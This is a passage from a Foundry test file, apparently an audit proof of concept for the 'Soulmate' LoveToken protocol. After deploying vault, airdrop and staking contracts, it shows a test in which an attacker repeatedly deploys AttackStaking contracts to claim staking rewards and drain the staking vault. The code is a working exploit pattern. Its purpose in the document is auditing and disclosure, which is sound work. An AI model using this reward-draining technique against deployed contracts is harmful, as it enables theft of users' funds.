function setUp() public {
airdropVaultContract = new Vault();
stakingVaultContract = new Vault();
soulmateContract = new Soulmate();
loveTokenContract = new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVaultContract), address(stakingVaultContract));
airdropContract = new Airdrop(ILoveToken(address(loveTokenContract)), ISoulmate(address(soulmateContract)), IVault(address(airdropVaultContract)));
stakingContract = new Staking(ILoveToken(address(loveTokenContract)), ISoulmate(address(soulmateContract)), IVault(address(stakingVaultContract)));
airdropVaultContract.initVault(ILoveToken(address(loveTokenContract)), address(airdropContract));
stakingVaultContract.initVault(ILoveToken(address(loveTokenContract)), address(stakingContract));
}
function setUpSoulmates() public {
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
assertEq(soulmateContract.soulmateOf(soulmate1), soulmate2);
}
function testNonSoulmateCanClaimUnclaimedSoulmateStakedTokens() public {
In a situation where
step 1: a malicious participant is an address
that is also a Soulmate.
step 2: gets some LoveToken to stake from daily Airdrops
step 3: transfer to some other address the Lovetokens and
deposit the LoveTokens (as that other address) in Staking SC
so as to have a non-zero value in userStakes mapping
step 4: claim as much rewards as possible😈
*/
setUpSoulmates();
address soulmate3 = makeAddr("soulmate3");
address soulmate4 = makeAddr("soulmate4");
vm.prank(soulmate3);
soulmateContract.mintSoulmateToken();
vm.startPrank(soulmate4);
soulmateContract.mintSoulmateToken();
vm.warp(1 weeks + 1);
airdropContract.claim();
vm.stopPrank();
uint256 loveTokenDeposit = loveTokenContract.balanceOf(soulmate4);
assert(loveTokenDeposit > 0);
uint256 numIterations = loveTokenContract.balanceOf(address(stakingVaultContract)) / (1 * 10 ** 18);
numIterations = 10000;
for (uint256 i=0; i < numIterations; i++) {
AttackStaking attackStaking = new AttackStaking();
vm.startPrank(soulmate4);
loveTokenContract.transfer(address(attackStaking), loveTokenDeposit);
attackStaking.attack(address(stakingContract), address(soulmateContract), address(loveTokenContract));
vm.stopPrank();
}
console.log(loveTokenContract.balanceOf(soulmate4));
assertEq(loveTokenContract.balanceOf(soulmate4), ((numIterations * loveTokenDeposit * (block.timestamp - soulmateContract.idToCreationTimestamp(0))) / 1 weeks) + loveTokenDeposit);
vm.stopPrank();
}